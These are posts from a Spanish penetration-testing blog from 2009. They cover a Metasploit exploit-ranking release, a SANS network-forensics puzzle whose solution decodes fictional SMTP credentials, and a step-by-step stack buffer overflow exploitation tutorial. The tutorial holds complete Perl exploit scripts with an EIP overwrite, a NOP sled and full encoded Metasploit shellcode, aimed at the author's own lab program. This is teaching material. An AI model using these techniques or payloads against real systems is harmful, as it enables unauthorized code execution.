jueves, 31 de diciembre de 2009

Feliz Day Overflow

#include "yearday.h"

YearDay iDay = 0; /* tipo de dato YearDay, sin signo de 0 a 365, evidentemente :P */

int main()
{
while (1)
{
iDay++;
if ( iDay == 0 )
printf("Feliz Año!\n");
}
return 0;
}

Pues eso, que Feliz Año Nuevo!! :P

miércoles, 23 de diciembre de 2009

Metasploit 3.3.3 y su Exploit Ranking

Como si de un regalo de navidad adelantado se tratara, el equipo de desarrollo de Metasploit Framework ha liberado esta mañana la versión 3.3.3 de su conocido framework de explotación.

Entre las novedades más interesantes nos encontramos con algo que siempre he echado de menos en la información proporcionada en los exploits, que es que exista una cierta clasificación de la calidad de los exploits, es decir, si es un exploit "cogido con pinzas" y cuya explotación es complicada o puede tumbar el servicio, o si por contra se trata de un exploit "de guante blanco", osea, que vamos a explotar, entrar, buscar, coger y salir sin que nadie se percate de nada.

Pensando en ello, el equipo de Metasploit ha creado el Exploit Ranking, una clasificación que divide los exploits en 7 categorías, de más calidad a menos calidad:
  1. Excelent
  2. Great
  3. Good
  4. Normal
  5. Average
  6. Low
  7. Manual
En la categoría "Normal" o superior, según la descripción realizada por Metasploit, podemos encontrar aquellos exploits con los que podemos obtener buenos resultados, mientras que por debajo de esta categoría podemos obtener bastantes problemas.

La manera en la que Metasploit clasifica cada exploit es por medio del propio código del exploit, mediante el uso de la variable Rank:

$ cat ms08_067_netapi.rb
[...]
require 'msf/core'

class Metasploit3 <>
Rank = GreatRanking
[...]

Como podemos imaginar, esta manera de manejarlo puede resultar muy útil, puesto que podremos modificar dicha clasificación en base a nuestra experiencia o a las modificaciones que hagamos del exploit para hacerlo más factible de cara a nuestro entorno, por ejemplo modificandolo para sistemas en Español en lugar de sistemas en Inglés.

Para por ejemplo buscar los exploit limitándolos según esta clasificación podemos usar el mismo comando "search" de siempre pero con la opción "-r", de la siguiente manera:

msf > search -r great netapi
[*] Searching loaded modules for pattern 'netapi'...
Exploits

========
Name Rank Description

---- ---- -----------

windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack Corruption

windows/smb/ms06_040_netapi great Microsoft Server Service NetpwPathCanonicalize Overflow


De momento, puesto que la release acaba de salir, no hemos tenido oportunidad de jugar con esta nueva funcionalidad a fondo, pero desde luego lo vamos a hacer :) .

Podemos acceder a toda la información directamente a través de la noticia publicada en el blog de metasploit.

NOTA: Aprovecho para desear a todos los lectores del Pentester.es una Feliz Navidad!

lunes, 21 de diciembre de 2009

Solución Reto Forensics: Ann Skips Bail

Como comentábamos en el anterior post, tenemos un fichero PCAP del que tenemos que extraer la máxima información posible para intentar averiguar donde se ha fugado Ann tras salir bajo fianza.

Evidentemente, la cantidad de posibilidades para resolver este reto son cuasi-infinitas, algunas más manuales, otras menos manuales, quizá algunas más eficientes que otras, pero el objetivo es conseguir el máximo de información en el mínimo tiempo posible.

Siendo un fichero PCAP pequeño, es muy factible abrirlo "a saco" con Wireshark y ver que es lo que hay, además el reto ya nos dice que lo que buscamos es un correo electrónico, por lo que nos está acotando mucho. Sin embargo, al realizar un análisis real no dispondríamos de toda esta información, así que tendríamos una captura de red mucho más grande y no sabríamos demasiado bien que tendríamos que buscar. Sería como buscar "una aguja en un pajar" pero peor aún, porque ni siquiera sabemos si lo que tenemos que encontrar es una aguja, o palillo, o cualquier otra cosa.

Para ayudarnos en este, existen programas que nos pueden sacar el tipo de tráfico que hay en el PCAP y mostrarlo clasificado. Yo concretamente, he aprovechado este reto para probar una herramienta llamada XPlico, utilizada como parte del Framework de análisis forense DEFT. Es posible que utilizar XPlico no sea la opción más elegante ni la mejor, pero desde mi punto de vista es bastante aceptable, y así aprovecho para presentar esta herramienta.

Una vez instalado Xplico, accederemos a la web de gestión a través del puerto 9876, utilizando el nombre de usuario "deft" y contraseña "xplico", como dice en la propia web de login. Una vez hecho login crearemos un "New Case" (nuevo caso) que sería nuestra investigación actual y a partir de ahí una "New Session" (nueva sesión), que sería ya la captura concreta que hemos realizado. Una vez creada la sesión tendremos que subir el fichero PCAP, para ello iremos a la zona de la derecha donde pone "pcap set" y examinaremos para buscar nuestro fichero, pulsando "Upload" para finalizar. Una vez subido el fichero nos aparecerá un mensaje "File uploaded, wait start decoding...". Es probable que tengamos que refrescar la web para ver el contenido real. Veremos algo así:



Como podemos ver, Xplico detecta 2 correos electrónicos y 1 resolución de nombres. Además de eso, debería poder detectar todas las webs visitadas, FTPs accedidos y un largo etcétera. Sin embargo, es cierto que Xplico no detecta todos los tipos de tráfico del mundo, por eso no está de más que realicemos una pequeña comprobación. Para ello, podriamos utilizar Wireshark para ver las llamadas "conversaciones" presentes en la captura, pero partiendo de la base de que podría tratarse de un fichero razonablemente grande y para evitarnos el desespero de manejarlo con una herramienta gráfica como Wireshark, vamos a utilizar a su hermano de la linea de comandos, el TShark. Veamos entonces las conversaciones ip, tcp y udp:

# tshark -r evidence02.pcap -n -z conv,ip
[...]
| <- | | -> | | Total |
| Frames Bytes | | Frames Bytes | | Frames Bytes |
192.168.1.159 <-> 64.12.102.142 255 14792 235 299979 490 314771
192.168.1.30 <-> 192.168.1.10 26 6500 2 180 28 6680
192.168.1.255 <-> 192.168.1.159 16 2007 0 0 16 2007
192.168.1.255 <-> 192.168.1.10 4 360 0 0 4 360
192.168.1.159 <-> 192.168.1.30 0 0 2 519 2 519
192.168.1.159 <-> 10.1.1.20 1 299 1 72 2 371

# tshark -r evidence02.pcap -n -z conv,tcp
[...]
| <- | | -> | | Total |
| Frames Bytes | | Frames Bytes | | Frames Bytes |
192.168.1.159:1038 <-> 64.12.102.142:587 233 13093 221 297720 454 310813
192.168.1.159:1036 <-> 64.12.102.142:587 22 1699 14 2259 36 3958

# tshark -r evidence02.pcap -n -z conv,udp
[...]
| <- | | -> | | Total |

| Frames Bytes | | Frames Bytes | | Frames Bytes |

192.168.1.10:52111 <-> 192.168.1.30:514 0 0 24 6320 24 6320
192.168.1.255:137 <-> 192.168.1.159:137 12 1104 0 0 12 1104
192.168.1.30:123 <-> 192.168.1.10:123 2 180 2 180 4 360
192.168.1.255:138 <-> 192.168.1.159:138 4 903 0 0 4 903
192.168.1.255:123 <-> 192.168.1.10:123 4 360 0 0 4 360
192.168.1.159:1025 <-> 192.168.1.30:514 0 0 2 519 2 519
192.168.1.159:1026 <-> 10.1.1.20:53 1 299 1 72 2 371


Como podemos observar, además de los dos correos enviados y de la resolución de nombres encontrada por Xplico, tenemos algunas otras conexiones UDP que no han aparecido en el análisis de esta herramienta, y que podriamos estraer de la captura para un análisis más manual.

De momento, puesto que lo más sencillo es mirar lo que sí ha detectado Xplico, vamos a pegarle un vistazo a esos dos correos, así que vamos a volver al interface gráfico de Xplico a ver que información nos ofrece:





Como se puede ver en las capturas, Xplico nos muestra el origen, destinatario, mensaje y archivos adjuntos, lo cual nos proporciona una manera cómoda de obtener dicha información sin tener que deshacer la codificación base64 del adjunto ni nada similar.

En este caso, vemos como Ann escribe a su amante, con correo mistersecretx@aol.com diciendole que quedan en el lugar indicado en el adjunto, y que lleve su pasaporte y su bolsa de aseo. Si descargamos el adjunto y lo abrimos veremos que tiene la siguiente imagen:



Como se puede observar, la ciudad de Playa del Carmen en México ha sido el lugar elegido por Ann para encontrarse con su amante. Además, en el mismo cuerpo del documento podemos leer "Meet me at the fountain near the rendezvous point. Address bellow. I'm bringing all the cash", que traducido al español quiere decir: "Nos encontraremos en la fuente junto al punto de encuentro. La dirección está debajo (la de la imagen). Llevo todo el dinero".

De momento la cosa va bien, así sin complicarnos mucho la vida sabemos donde se van a encontrar Ann y su amante y sabemos que ella va a llevar todo el dinero, así que si les pillamos lo haremos con las manos en la masa.

Sin embargo, hay cosas que aún no sabemos, y es por ejemplo CUÁNDO van a verse, ya que en la información no se puede ver una fecha para quedar en ningún momento, y aunque se sale de las preguntas que hace el reto de SANS, es algo que si se tratase de un reto real yo sí me preguntaría. Para ello, vamos a intentar obtener algo más de información de la que nos proporciona Xplico, empezando por los correos electrónicos.

El envío de correo electrónico por SMTP es posible hacerlo con autenticación o sin autenticación, y dado que el correo que hemos analizado ha sido enviado sin cifrar, en el caso de que haya utilizado autenticación, podremos ver la contraseña utilizada en claro, pudiendo de esta manera acceder a la cuenta de correo de Ann, donde es posible que podamos obtener mucha más información anterior a la monitorización de su linea. Para ello vamos a quedarnos solo con la comunicación de alguno de los correos y vamos a observar las primeras lineas, con el fin de extraer el proceso de autenticación:

# tcpdump -r evidence02.pcap -s 0 -w correo.pcap port 1038 and port 587
# tshark -r correo.pcap -n | head -20
1 0.000000 192.168.1.159 -> 64.12.102.142 TCP 1038 > 587 [SYN] Seq=0 Win=64240 Len=0 MSS=1460

2 0.111116 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

3 0.111462 192.168.1.159 -> 64.12.102.142 TCP 1038 > 587 [ACK] Seq=1 Ack=1 Win=64240 Len=0

4 0.282720 64.12.102.142 -> 192.168.1.159 SMTP Response: 220 cia-mc07.mx.aol.com ESMTP mail_cia-mc07.1; Sat, 10 Oct 2009 15:37:56 -0400

5 0.283746 192.168.1.159 -> 64.12.102.142 SMTP Command: EHLO annlaptop

6 0.284189 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=81 Ack=17 Win=64240 Len=0

7 0.396057 64.12.102.142 -> 192.168.1.159 SMTP Response: 250-cia-mc07.mx.aol.com host-69-140-19-190.static.comcast.net

8 0.397784 192.168.1.159 -> 64.12.102.142 SMTP Command: AUTH LOGIN

9 0.398285 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=332 Ack=29 Win=64240 Len=0

10 0.506142 64.12.102.142 -> 192.168.1.159 SMTP Response: 334 VXNlcm5hbWU6

11 0.507100 192.168.1.159 -> 64.12.102.142 SMTP Command: c25lYWt5ZzMza0Bhb2wuY29t

12 0.507551 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=350 Ack=55 Win=64240 Len=0

13 0.618061 64.12.102.142 -> 192.168.1.159 SMTP Response: 334 UGFzc3dvcmQ6

14 0.618922 192.168.1.159 -> 64.12.102.142 SMTP Command: NTU4cjAwbHo=

15 0.619472 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=368 Ack=69 Win=64240 Len=0

16 0.741622 64.12.102.142 -> 192.168.1.159 SMTP Response: 235 AUTHENTICATION SUCCESSFUL

17 0.745296 192.168.1.159 -> 64.12.102.142 SMTP Command: MAIL FROM:
18 0.745789 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=399 Ack=102 Win=64240 Len=0
19 0.862648 64.12.102.142 -> 192.168.1.159 SMTP Response: 250 OK
20 0.863473 192.168.1.159 -> 64.12.102.142 SMTP Command: RCPT TO:


Hemos tenido suerte, el correo ha sido mandado utilizando autenticación, por lo que ahora mismo tenemos el siguiente tráfico "petición -> respuesta":

VXNlcm5hbWU6 -> c25lYWt5ZzMza0Bhb2wuY29t
UGFzc3dvcmQ6 -> NTU4cjAwbHo=


Como podemos observar, las cadenas se encuentran codificadas en Base64. Decodificándolas mediante cualquier web, Burp o comando "base64" de unix, obtenemos lo siguiente:

Username: -> sneakyg33k@aol.com
Password: -> 558r00lz


Un ejemplo de las maneras de obtenerlo por linea de comandos en un linux:

# echo "c25lYWt5ZzMza0Bhb2wuY29t" | base64 -d
sneakyg33k@aol.com


Bueno, pues ya tenemos algo más, ahora además sabemos que usa una cuenta de AOL con usuario sneakyg33k@aol.com y con contraseña 558roolz (menuda auto-propaganda que se hacen los de SANS :P) donde podriamos entrar a buscar más información.

Por último, nos quedaría algo más de información que, sin ser tan relevante como esta, nunca se sabe si podría resultar útil, como por ejemplo la que podemos extraer del tráfico UDP que mencionamos antes, como versión del Windows utilizado, por ejemplo.

Para acabar, me gustaría referenciar a uno de los dos ganadores del reto de SANS, que tras leer su solución es la que más me ha gustado, ya que ha creado un par de herramientas muy muy completas para ayudarle a resolver el reto que nos pueden resultar muy útiles a todos nosotros en el futuro.

jueves, 10 de diciembre de 2009

Reto Forensics: Ann Skips Bail

De entre la cantidad de cursos que tiene el SANS Institute, uno de ellos, el SEC558 Network Forensics, es el destinado a la realización de Análisis Forense de Red. Además del curso, SANS tiene una web llamada Network Forensics Puzzle Contest en la que de vez en cuando plantea retos forenses.

Por el momento los retos son sencillos de sacar, pero la dificultad radica en que el ganador es aquel que plantea la solución más elegante, generalmente desarrollando alguna pequeña herramienta que le ayude a resolver el reto. Sin embargo, aunque no aspiremos a ganar el reto, es muy útil probar con estos retos sencillos.

Hace unas semanas se publicó en esa misma web el segundo reto, y aquí es donde entramos al trapo... Dice tal que así:

Después de haber sido soltada bajo fianza, Ann Dercover desaparece! Afortunadamente su conexión de red estaba siendo monitorizada antes de que saliera de la ciudad.

"Creemos que Ann se podría haber comunicado con su amante secreto, Mr. X, antes de irse", dijo el jefe de policía. La captura de red puede contener pistas sobre su paradero.

Tú eres el investigador forense. Tu misión es averiguar donde se ha ido Ann y la máxima información posible contenida en la captura de red que pueda ayudar a la investigación.

En el reto original hay una serie de preguntas que hay que contestar, pero no las he puesto porque me parece que dan muchas pistas y lo ponen muy fácil, así que el que quiera puede hacer trampas y mirar la versión original del reto o incluso la solución, pero lo interesante es aprender a hacer el camino necesario para obtener esa información :)

En un par de días pondré mi solución al reto, explicando las herramientas que utilicé y todo el proceso.

martes, 1 de diciembre de 2009

Exploting (II): Stack Overflow Simple (y III)

La semana pasada nos quedabamos a punto de conseguir explotar una vulnerabilidad en nuestro código de ejemplo y ejecutar código. Por el momento habiamos conseguido averiguar como sobreescribir la dirección de retorno en la pila y con que dirección la tenemos que cambiar para que acabe ejecutandose nuestro shellcode, por el momento un montón de NOPs seguidos de un INT 3, y funcionaba! La lógica nos dice que ahora solo tenemos que generar un shellcode y substituirlo por el shellcode de prueba que hemos usado, ¿verdad?

¿Cómo construimos un shellcode? De nuevo metasploit nos soluciona la papeleta con su comando msfpayload. Este comando nos permite generar cualquiera de los payloads presentes en Metasploit en formato exe, perl, python y un largo etc. En nuestro caso, vamos a generar un payload del tipo "windows/exec" para ejecutar un "calc.exe" (típico caso de ejemplo):

# cd /pentest/exploits/framework3
# ./msfpayload windows/exec CMD=calc.exe Perl

# windows/exec - 121 bytes

# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
my $buf = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
[...]


Ya empezamos otra vez con los problemas... resulta que el shellcode contiene caracteres nulos, osea que si lo intentamos añadir tal cual no se copiará entero y no funcionará. Además de caracteres nulos, el shellcode, debido a su tamaño, podría contener otro tipo de caracteres "malos", así que lo mejor es hacerle un encoding de tal forma que controlemos el tipo de caracteres.

Para ello vamos a usar otra de los comandos que vienen con Metasploit, el msfencode, al que le podemos definir una serie de caracteres que queremos evitar o directamente darle una codificación para que no se salga de ahí. En nuestro caso, dado que lo que estamos explotando es una cadena, elegimos el encoding x86/alpha_mixed, es decir, letras mayúsculas o minúsculas, que es un tipo de caracteres que seguro que no nos da problemas. Para ello hay que cambiar el tipo de dato de salida de msfpayload a "Raw" (plano) y pasarle su salida a la entrada estandar de msfencode, al cual ya le diremos que nos de la salida en Perl:

# ./msfpayload windows/exec CMD=calc Raw | ./msfencode -e x86/alpha_mixed -t perl
[*] x86/alpha_mixed succeeded, final size 297


Bueno, ahora ya tememos nuestro nuevo shellcode, bastante más grande que el anterior (297 bytes contra 121 bytes) pero eso es algo normal cuando se hace encoding. Nuestro nuevo shellcode es un código binario equivalente al anterior pero en que todos los bytes se corresponden con el código ASCII de un caracter, lo cual nos va a permitir utilizarlo sin temor a que se corte al ser copiado y no nos funcione. Vamos a inyectarlo entonces en nuestro perl para generar el exploit:

#!/usr/bin/perl
# EXPLOIT DE PRUEBAS - jselvi

# Auxiliares, para entendernos mejor...
my $nop = "\x90";
my $breakpoint = "\xcc";

# PARTES DEL EXPLOIT
my $relleno = $nop x 60;
my $eip = pack("V", 0x77C21025);
my $muelle = $nop x 50;

# SHELLCODE DE METASPLOIT (calc.exe)
my $shellcode =
"\x89\xe1\xdd\xc3\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x45\x50\x45\x50\x45" .
"\x50\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44" .
"\x38\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51" .
"\x4f\x51\x30\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x47\x44\x4c" .
"\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c\x4b" .
"\x34\x49\x50\x43\x44\x45\x57\x49\x51\x48\x4a\x44\x4d\x43" .
"\x31\x48\x42\x4a\x4b\x4a\x54\x47\x4b\x51\x44\x46\x44\x43" .
"\x34\x42\x55\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a" .
"\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45" .
"\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a" .
"\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x49\x53\x51\x4f\x50" .
"\x31\x4a\x56\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36\x50" .
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e" .
"\x4d\x4c\x4b\x42\x48\x44\x48\x4b\x39\x4c\x38\x4d\x53\x49" .
"\x50\x43\x5a\x46\x30\x42\x48\x4c\x30\x4d\x5a\x43\x34\x51" .
"\x4f\x42\x48\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x50\x57\x4b" .
"\x4f\x4b\x57\x43\x53\x45\x31\x42\x4c\x42\x43\x45\x50\x45" .
"\x5a\x41\x41";

# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$muelle.$shellcode;

# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Fichero exploit.txt creado\n";


Ahora lo ejecutamos para generar nuestro exploit.txt, nos vamos a nuestra máquina con nuestro código de prueba vulnerable y lo lanzamos de la siguiente manera (ya no hace falta OllyDbg):

> type exploit.txt | bof.exe



BINGO! YA LO TENEMOS! :)

Cambiando el shellcode utilizado por otro más... "maléfico" podemos hacer todo tipo de acciones en la máquina. Incluso podemos darle potencia a nuestro exploit y codificarlo en un módulo de metasploit para poder irle cambiando el payload a nuestro antojo sin tener que repetir cada vez estos pasos. Pero eso para más adelante.

jueves, 26 de noviembre de 2009

Exploting (II): Stack Overflow Simple (II)

La semana pasada nos quedamos a medias de desarrollar un exploit para un código de ejemplo sencillo que era vulnerable a Buffer Overflow. Al final, habiamos obtenido que necesitamos rellenar con 60 caracteres para a continuación poder sobreescribir la dirección de retorno almacenada en la pila.

Por último, lanzabamos una pregunta ¿Por qué no funcionará si sobreescribo el EIP con 0x0022C0D0? La razón es lo que se llama "bad characters" (caracteres malos). Los caracteres malos son aquellos que pueden provocar que la transmisión de nuestro exploit hasta la memoria sea cortada por algún motivo. En este caso concreto, si intentaramos usar la dirección 0x0022C0D0 como parte de nuestro exploit sería imposible que nos funcionara, ya que contiene el caracter 0x00, que significa final de cadena, por lo que la función scanf dejará de copiar contenido en el momento que detecte este caracter, quedando nuestro exploit incompleto en la memoria, por lo que no funcionaría.

Pues mirando el OllyDbg... parece que toda la pila se encuentra en direcciones que empiezan por 0x00... ¿Cómo lo hacemos entonces?

¿Recordais que en el anterior post comentamos como algo "curioso" que el patron "CCC1CCC2..." se encontraba apuntado desde el registro ESP (puntero a la cima de la pila)? Pues bien, en lugar de saltar directamente a nuestro shellcode, vamos a dar un pequeño rodeo: vamos a saltar a alguna zona de código de nuestro proceso que contenga las intrucciones necesarias para que acabemos saltando a nuestro shellcode. Evidentemente no vamos a encontrar ninguna instrucción de salto a nuestro shellcode como tal, pero sí que es factible que encontremos instrucciones de salto a registros, por ejemplo ESP, y como en estos momentos el registro ESP apunta a nuestro shellcode...

Por poner un ejemplo, vamos a mencionar dos secuencias de instrucciones típicas que se usan para estos fines, aunque en realidad valdría cualquier tipo de secuencia, siempre y cuando la dirección en la que se encuentre no contenga ningún caracter que nos impida usarlo y que, al final, acabe saltando a nuestro shellcode de alguna manera:
  1. "jmp esp": esta es la más evidente, si sobreescribieramos el EIP con la dirección de esta instrucción, al saltar a ella inmediatamente la ejecución saltaría a la dirección contenida en el ESP, donde estaría nuestro shellcode, con lo que tendriamos resuelto el problema.
  2. "push esp" seguido de "ret": Lo usabamos en el post en el que explicabamos como modificar un exploit para que funcionara en un sistema en castellano hace algunas semanas. Utilizando esta secuencia, el registro ESP (que contiene la dirección de nuestro shellcode) será apilado en la pila. A continuación se realiza un "ret" (retorno de una función), que desapilará de la pila la dirección de retorno (funcionamiento estandar de las funciones call y ret) y saltará a esta dirección, por lo que provocaremos que salte a nuestro shellcode.
En general, podemos encontrar estas secuencias en varios lugares, pero algunos son mejores que otros. Sin duda la primera elección sería en alguna librería de la propia aplicación, ya que esta es totalmente dependiente de la versión del software, y no variará cuando se introduzcan parches del sistema operativo ni nada parecido. En este caso no va a ser posible, ya que el software vulnerable es muy muy sencillo y no tiene librerías, por lo que vamos a tener que buscar las secuencias de comandos en las librerías del sistema operativo.

Utilizar las librerías del sistema operativo no es lo mejor, ya que si por alguna de aquellas un parche aplicado al sistema operativo modifica el contenido de esta librería... la existencia de esta secuencia seguramente permanecerá, pero su posición se verá alterada por la alteración del código producido al aplicar el parche, por lo que nuestro exploit no funcionará. Si no nos queda más remedio... lo mejor sería elegir, de las opciones que tengamos, la que se encuentre en aquella librería que tradicionalmente sufra menos parcheos, aunque para este caso, por ser solo un ejemplo, hemos elegido una cualquiera.

Bueno, pues ya sabemos lo que tenemos que hacer, tenemos que buscar un "push esp; ret" (por ejemplo) ¿Cómo lo hacemos?

Lo primero de todo es saber que secuencia de opcodes son los comandos "push esp; ret" para poderlos buscar en la memoria. Para ello yo suelo emplear un truco (aunque al final acabas aprendiendote de memoria los opcodes "típicos"): Abro el Ollydbg (cualquier binario me vale) y me voy al final del todo de la zona de código, donde seguro que existe una zona sin utilizar. Una vez allí, pincho dos veces sobre el código y me sale una ventana en la que puedo modificar e intruducir la intrucción en ensamblador que quiera. Recordad desmarcar la opción "Keep size" para que aunque la instrucción que le pongamos ocupe más de 1 byte que nos la escriba igual.



Como podemos ver en la columna central, la secuencia "push esp; ret" se corresponde con los opcodes "54 C3" (en hexadecimal, claro), por lo que ya sabemos que es lo que tenemos que buscar en la memoria.

Ahora lanzamos nuestra aplicación vulnerable de nuevo con OllyDbg, volvemos a lanzar nuestro exploit y después del casque nos vamos a la zona de memoria (un botón con una M azul y buscamos en toda la memoria esa secuencia):



Le damos a buscar y nos la va a encontrar en varios sitios. Por ejemplo este:



Aquí podemos ver como la secuencia que queremos está en la dirección 0x77C21025, perteneciente a la librería "msvcrt". Lo ideal sería anotarnos los lugares en los que se encuentra para posterirmente seleccionar el que puede resultar más apropiado para el exploit.

Ya está, ¿no?, ya sabemos que si sobreescribimos 60 A's, después le metemos la dirección de retorno 0x77C21025 y posteriormente el shellcode, tendremos un exploit con el que conseguiremos ejecutar el código que queramos.

Vamos a hacer una pequeña prueba, y así de paso sabemos más o menos que tamaño tenemos para nuestro shellcode (que también es importente). Vamos a generar un shellcode que sean muchas intrucciones NOP seguidas de una instrucción INT 3 (la misma que utilizan los breakpoints de un debugger). Si todo funciona bien, cuando lancemos la aplicación con OllyDbg y lo dejemos ejecutar libremente, se producirán los siguientes pasos:
  1. Se lanza el exploit, se sobreescribe en la pila la dirección de retorno.
  2. La función vulnerable finaliza, al hacer ret, desapila la dirección de retorno 0x77C21025 (que es con la que hemos sobrescrito) y por tanto salta a la zona de código donde está el "push esp; ret" que habiamos encontrado.
  3. Se apila el ESP, que apunta a nuestro shellcode, y se realiza un ret, con lo que se vuelve a desapilar y se salta a esta dirección, con lo que se inicia la ejecución de nuestro código.
  4. Se ejecutan los 1000 NOPs que hemos introducido correctamente, y finalmente se ejecuta el INT 3 (breakpoint)
  5. La ejecución del OllyDbg se para, esta vez no por un error, sino por un INT 3 encontrado, con lo que tenemos la certeza de que nuestro exploit está funcionando correctamente.
Para generar este exploit, como hemos hecho antes, podemos usar el siguiente código en perl:

#!/usr/bin/perl
# EXPLOIT DE PRUEBAS - jselvi

# Auxiliares, para entendernos mejor...
my $nop = "\x90";
my $breakpoint = "\xcc";

# PARTES DEL EXPLOIT
my $relleno = $nop x 60;
my $eip = pack("V", 0x77C21025);

# SHELLCODE DE PRUEBA (breakpoint)
my $shellcode = $nop x 1000 . $breakpoint;

# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$shellcode;

# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Fichero exploit.txt creado\n";


Como nota sobre el exploit, fijaros que para introducir el EIP estamos utilizando al función pack con el parámetro "V". Esto es necesario para que transforme la dirección (en formato long) a su equivalente en little-endian para que se interprete bien.

Perfecto! Ya tenemos el exploit preparadito y funcionando, solo tenemos que cambiar el shellcode por uno que haga lo que realmente queramos. Ya estamos cada vez más cerca de esto...



Pero aún nos falta solventar un pequeño problemita más.
Lo veremos en el próximo post.

domingo, 22 de noviembre de 2009

Exploting (II): Stack Overflow Simple (I)

La semana pasada pusimos un ejemplo de como podemos aprovechar una vulnerabilidad de Buffer Overflow para saltarnos un proceso de autenticación sin tener que acudir a sobreescribir la dirección de retorno en la pila. El de la semana pasada es probablemente uno de los casos más sencillos de Buffer Overflow, ya que es bastante inmediato ver que si podemos desbordar el buffer podemos tener control de todas las variables que se hayan declarado en las siguientes posiciones de memoria.

Esta semana vamos a dar un paso más allá y vamos a irnos al caso del Stack Overflow típico, es decir, hemos hecho un pequeño programa de ejemplo que contiene una vulnerabilidad de Buffer Overflow que puede ser aprovechada para ejecutar código en la máquina, y esto es lo que vamos a hacer.

El código de ejemplo, aunque se llama desde dentro de un código más amplio para favorecer un tamaño de pila adecuado para no complicar más las cosas, es el siguiente:



Como podemos ver, la variable buffer tiene una longitud de 10 caracteres (osea, 10 bytes). Sin embargo, se está obteniendo por teclado una cadena que está siendo guardada en esta variable sin ningún tipo de control de la cantidad de caracteres que se van a escribir. Por lo tanto, aquí tenemos una vulnerabilidad de Buffer Overflow de libro.

En este caso tenemos el código y podemos ver que la vulnerabilidad existe con total seguridad, pero en otras ocasiones no tendremos tanta suerte. En cualquier caso, vamos a olvidarnos que disponemos del código y vamos a realizar una prueba. Para ello llamamos al binario y cuando nos solicite que escribamos vamos a intruducir una cadena muy muy larga de A's, para comprobar si podemos realizar un Buffer Overflow que sobreescriba la dirección de retorno almacenada en la pila y provocar un casque (es lo que ocurre si hacemos saltar la ejecución del código a una dirección inválida).

Primero que nada, lanzamos el binario a través de OllyDbg y lo ejecutamos sin poner ningún tipo de breakpoint ni nada similar. Si sobreescribimos correctamente la dirección de retorno que está almacenada en la pila, cuando la función termine, la dirección de retorno va a ser "basura", por lo que la ejecución del software va a saltar a una dirección inválida. En OllyDbg, veremos algo así:



Como podemos ver, la ventana en la que veriamos las intrucciones de código aparece en blanco, y la ejecución del proceso se ha detenido con un EIP (puntero de instrucción, que apunta a la instrucción que se está ejecutando) claramente no válido "AAAA" (0x41 = "A").

Ahora que ya sabemos como reconocer cuando se ha producido un Buffer Overflow, vamos a lanzar la aplicación vulnerable a través de OllyDbg y vamos a dejar que se ejecute sin ninguna restricción. Cuando nos ofrezca la posibilidad de escribir, vamos a escribir una cantidad muy grande de A's, obteniendo el siguiente resultado:



Si nos fijamos en la información resaltada en la imagen, el EIP ahora es 0x41414141, es decir, la dirección de retorno de la función vulnerable que estaba almacenada en la pila ha sido sobreescrita con A's. Genial! Eso quiere decir que podemos empezar a jugar...

Vale, ya sabemos que podemos sobreescribir la dirección de retorno, pero nos interesa saber exactamente que A's están sobreescribiendo esa dirección de retorno, para así poder hacer saltar la ejecución a donde nosotros queramos. ¿Cómo hacemos eso? Pues está claro que poniendo todos los caracteres iguales seguro que no.

Para hacerlo, lo mejor es tener primero una aproximación de con cuantos caracteres sobreescribimos la dirección de retorno. Si hemos probado con 10000 A's, podemos probar ahora con 5000, si sigue funcionando entonces con 2500, luego con 1250, hasta que lleguemos a un punto suficientemente acotado (un rango de 2000 o 3000 es suficiente) como para poder utilizar la siguiente técnica que vamos a ver.

En este caso, la cantidad de A's es entre 50 y 100, así que lo que vamos a hacer es escribir 50 A's y a continuación 50 caracteres diferentes, que nos permitan reconocer al ver 4 de ellos (estarán en el EIP) en que posición están exactamente. Para generar estos caracteres utilizaremos una de las herramientas de la tremenda y fantastica Metasploit (miooo, mi tesoooroooo): pattern_create.rb

# cd /opt/msf3
# cd tools
# ./pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab


Con esto, ya solo tenemos que concatenar 50 A's con esta secuencia y repetir el proceso. Como supongo que no quereis tener que escribir cada vez a mano 50 A's, lo mejor es hacerse un pequeño script. Yo por ejemplo me lo he hecho en perl:

#!/usr/bin/perl
